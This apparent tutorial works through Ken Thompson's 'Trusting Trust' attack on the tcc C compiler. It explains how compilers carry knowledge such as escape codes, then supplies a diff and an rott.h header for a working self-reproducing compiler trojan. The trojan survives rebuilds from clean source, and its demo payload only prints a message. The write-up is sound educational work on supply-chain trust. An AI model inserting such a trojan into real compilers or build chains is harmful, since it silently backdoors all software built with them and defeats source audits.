######################################## Reflections on Trusting Trust in ``tcc`` ######################################## A little more tangible, worked example of Ken Thompson's excellent paper, Reflections on Trusting Trust, first published in Communication of the ACM, Vol. 27, No. 8, August 1984, pp. 761-763. Reprinted on the web at http://cm.bell-labs.com/who/ken/trust.html ; go read that first if you haven't. Introduction: Escape Codes ========================== .. highlight:: c Here's the bit of code that returns the newline character (in ``tccpp.c``, as of revision ``release_0_9_26-308-g26b26f3``):: 1685 /* evaluate escape codes in a string. */ 1686 static void parse_escape_string(CString *outstr, const uint8_t *buf, int is_long) ... 1696 if (c == '\\') { 1697 p++; 1698 /* escape */ 1699 c = *p; 1700 switch(c) { ... 1747 case 'n': 1748 c = '\n'; 1749 break; ... 1781 cstr_ccat(outstr, c); ... So wait, we saw the literal sequence ``\n`` in the input and we're defining it to emit ``'\n'``. That's right, yes, but who knows what ``\n`` means any more? .. highlight:: none In the final assembler, this code turns into (you can get this with ``objdump -d -l tcc``) :: ...tccpp.c:1697 40816a: 4d 89 fd mov %r15,%r13 .../tccpp.c:1748 40816d: bb 0a 00 00 00 mov $0xa,%ebx 408172: e9 8b f7 ff ff jmpq 407902 So who knows that ``'\n'`` means ``0xa``? The *compiler that compiled* ``tcc`` knew, and so even though the ``tcc`` source doesn't have a clue, the resulting executable still does the right thing. (If you're curious about this code in more detail see :ref:`app_gen_code`). So What? Or: Can You Believe Your Code? ======================================== What does your compiler know about what it's building? *Everything!* So... do you think it could recognize when it's building, say, a call to ``is_user_authorized(entered_username, entered_password)``? Sure! But the code to do that would stand out like a sore thumb, right? So... do you think the compiler could recognize when it's building *itself*? Oh dear! We could * insert the code that wrecks ``is_user_authorized`` * insert the code that wrecks *the compiler* And then, we could *delete our changes forever* and the compiler would continue to do evil on our behalf, in a way that would pass any source-code audit. A not-so-malicious Demo! ------------------------ Rather than hacking an authorization check, let's just cause ``tcc``'s ``main()`` function to thank us for using a malicious compiler. Consider the following:: $ cd src/tcc $ make clean && rm -rf _inst* $ grep . -re malicious $ ./configure --prefix=$PWD/_inst.via-malicious --cc=$PWD/../tcc.rott/_inst.malicious-via-gcc/bin/tcc [...] $ make install clean [...] $ ./configure --prefix=$PWD/_inst.via-self-via-malicious --cc=$PWD/_inst.via-malicious/bin/tcc $ make install clean [...] $ ./_inst.via-self-via-malicious/bin/tcc -o ex1 examples/ex1.c Thanks for using a malicious compiler! $ While working code exists below (:ref:`app_rott_diff`), this exercise is much more informative in being done than being read. There's a hint before the full solution, below, if you want. .. _app_gen_code: Appendix: Generated Code In More Detail ======================================= if you look in the assembler, for the ``\n`` example above, it's really not obvious how we *get* to ``0x40816a``. The instruction right before is an unconditional jump, and ``0x40816a`` is not a direct jump target anywhere in the whole file! What's going on? What's going on is a *jump table*. The ``switch`` statement of line 1700 has turned into the following curious assembler:: .../tccpp.c:1700 407fbd: 83 e8 22 sub $0x22,%eax 407fc0: 3c 56 cmp $0x56,%al 407fc2: 0f 87 26 03 00 00 ja 4082ee 407fc8: 0f b6 c0 movzbl %al,%eax 407fcb: ff 24 c5 00 30 42 00 jmpq *0x423000(,%rax,8) That is, given the value of ``c`` in ``%eax``, subtract ``0x22`` (which, incidentally, is ASCII for the double quotation character and is the smallest value used in a ``case`` statement in this switch construct), compare the result to ``0x56`` (comparing ``c`` against ``0x78``, ASCII for ``x``, the highest value used in a ``case`` statement). If larger, go to a default case at ``0x4082ee``. Otherwise... say hello to Intel. Effectively, the next two operations compute the following expression:: 0x423000 + (((c - 0x22) & 0xFF) << 3) Which is using c as an index into an array of something 8 bytes wide at ``0x423000``. What's there? More importantly, what's at ``0x423260``, the computed value when ``c`` is ``'n'``? Using ``objdump -s``, we find that this is part of the "read-only data" section of the executable, ``.rodata`` :: 423000 02814000 00000000 ee824000 00000000 ..@.......@..... 423010 ee824000 00000000 ee824000 00000000 ..@.......@..... 423020 ee824000 00000000 02814000 00000000 ..@.......@..... ... 423260 6a814000 00000000 ee824000 00000000 j.@.......@..... ... Which is little-endian for ``0x40816a``! Look at that. .. _app_rott_diff: Appendix: ROTTen Diffs ====================== The ROTTen demo above is also probably not obvious. I, again, strongly encourage you to work on it yourself before reading the solution presented here, as it is vastly more informative to figure out what happens when and so on. I will be the first to admit, by the way, that this is probably the **least subtle ROTT imaginable**. The resulting compiler contains some, shall we say, *rather incriminating* strings. That's merely expedience and laziness on my part and is not fundamental to the lessons here. For starters, here's the diff I had to make to the "stage one" compiler:: --- a/tccgen.c +++ b/tccgen.c @@ -19,6 +19,7 @@ */ #include "tcc.h" +#include "rott.h" /********************************************************/ /* global variables */ @@ -73,6 +74,8 @@ ST_DATA char *funcname; ST_DATA CType char_pointer_type, func_old_type, int_type, size_type; +ROTT_STAGE1_DECLS + /* ------------------------------------------------------------------------- */ static void gen_cast(CType *type); static inline CType *pointed_type(CType *type); @@ -4595,6 +4598,8 @@ static void block(int *bsym, int *csym, int *case_sym, int *def_sym, int a, b, c, d; Sym *s, *frame_bottom; + ROTT_STAGE1_BLOCK_PREFIX; + /* generate line number info */ if (tcc_state->do_debug && (last_line_num != file->line_num || last_ind != ind)) { --- a/tccpp.c +++ b/tccpp.c @@ -19,6 +19,7 @@ */ #include "tcc.h" +#include "rott.h" /********************************************************/ /* global variables */ @@ -1085,6 +1086,8 @@ ST_INLN Sym *define_find(int v) /* free define stack until top reaches 'b' */ ST_FUNC void free_defines(Sym *b) { + ROTT_STAGE1_OUTPUT_PREFIX + Sym *top, *top1; int v; Once more, I strongly urge you to stop reading here. The above shows you where you can hook in ``tcc`` to get a decent fingerprint of what function is being built and where to do any post-processing. As another hint, almost all of the actual magic here is the same magic as in a quine: we need a program that can carry its own source or (something equivalent to it) around at runtime. `Kleene's Recursion Theorem `_ is an amazing thing. Since you kept reading, tho', I assume you want to know what's in ``rott.h``. Here it is:: #define STRINGIFY(x) #x #define XSTRINGIFY(x) STRINGIFY(x) #define ROTT_RECURSE_FLAG 0x8000 #define ROTT_HOOK(rh_flag, rh_file, rh_fun, rh_hook) \ if(!(do_rott_flags & (ROTT_RECURSE_FLAG | rh_flag)) \ && !strcmp(file->filename, rh_file) \ && !strcmp(funcname, rh_fun)) { \ static CType hook_type; \ do_rott_flags |= rh_flag; \ hook_type.t = VT_FUNC; \ hook_type.ref = sym_push(SYM_FIELD, &int_type, FUNC_CDECL, FUNC_OLD); \ TokenSym *t = tok_alloc(rh_hook, sizeof(rh_hook)-1); \ vpush_global_sym(&hook_type, t->tok); \ gfunc_call(0); \ } \ #define ROTT_STAGE1_BLOCK_PREFIX \ ROTT_HOOK(0x1, "tcc.c", "main", "rott_main_hook") \ ROTT_HOOK(0x2, "tccgen.c", "block", "rott_block_hook") \ ROTT_HOOK(0x4, "tccpp.c", "free_defines", "rott_output_hook") #define ROTT_FINISH_BUF \ p = buf + strlen(buf); \ for(; *i; i++) { \ switch(*i) { \ case '\\': \ case '\"': \ *p++ = '\\'; break; \ } \ *p++ = *i; \ } \ *p++ = '\"'; \ *p++ = ';'; \ *p++ = '\n'; \ *p++ = '\000'; #define ROTT_STAGE1_OUTPUT_PREFIX \ { \ extern struct TCCState *tcc_state; \ extern int do_rott_flags; \ extern const char *rott_block_hook_body; \ extern const char *rott_output_hook_body; \ void *s = tcc_state; \ if((do_rott_flags & 0x1) && !(do_rott_flags & ROTT_RECURSE_FLAG)) { \ char buf[10000] = ""; \ const char *i; \ char *p; \ do_rott_flags |= ROTT_RECURSE_FLAG; \ strcat(buf,"int do_rott_flags;\n"); \ strcat(buf,"void rott_block_hook(void);\n"); \ strcat(buf,"void rott_block_hook() {"); strcat(buf, rott_block_hook_body); strcat(buf, "}\n"); \ strcat(buf,"void rott_output_hook(void);\n"); \ strcat(buf,"void rott_output_hook() {"); strcat(buf, rott_output_hook_body); strcat(buf, "}\n"); \ strcat(buf,"void rott_main_hook(void);\n"); \ strcat(buf,"void rott_main_hook(void) { printf(\"Thanks for using a malicious compiler!\n\"); }\n"); \ strcat(buf,"char *rott_block_hook_body = \""); i = rott_block_hook_body; ROTT_FINISH_BUF; \ strcat(buf,"char *rott_output_hook_body = \""); i = rott_output_hook_body; ROTT_FINISH_BUF; \ tcc_compile_string(s, buf); \ do_rott_flags &= ~(ROTT_RECURSE_FLAG | 0x1); \ }} #define ROTT_STAGE1_DECLS \ int do_rott_flags; \ const char *rott_block_hook_body = XSTRINGIFY(ROTT_STAGE1_BLOCK_PREFIX); \ const char *rott_output_hook_body = XSTRINGIFY(ROTT_STAGE1_OUTPUT_PREFIX); \ Patch your source (I used a separate directory ``tcc.rott`` for this) and build it using your favorite C compiler. Then go back to your pristine source tree and run the demo above and marvel.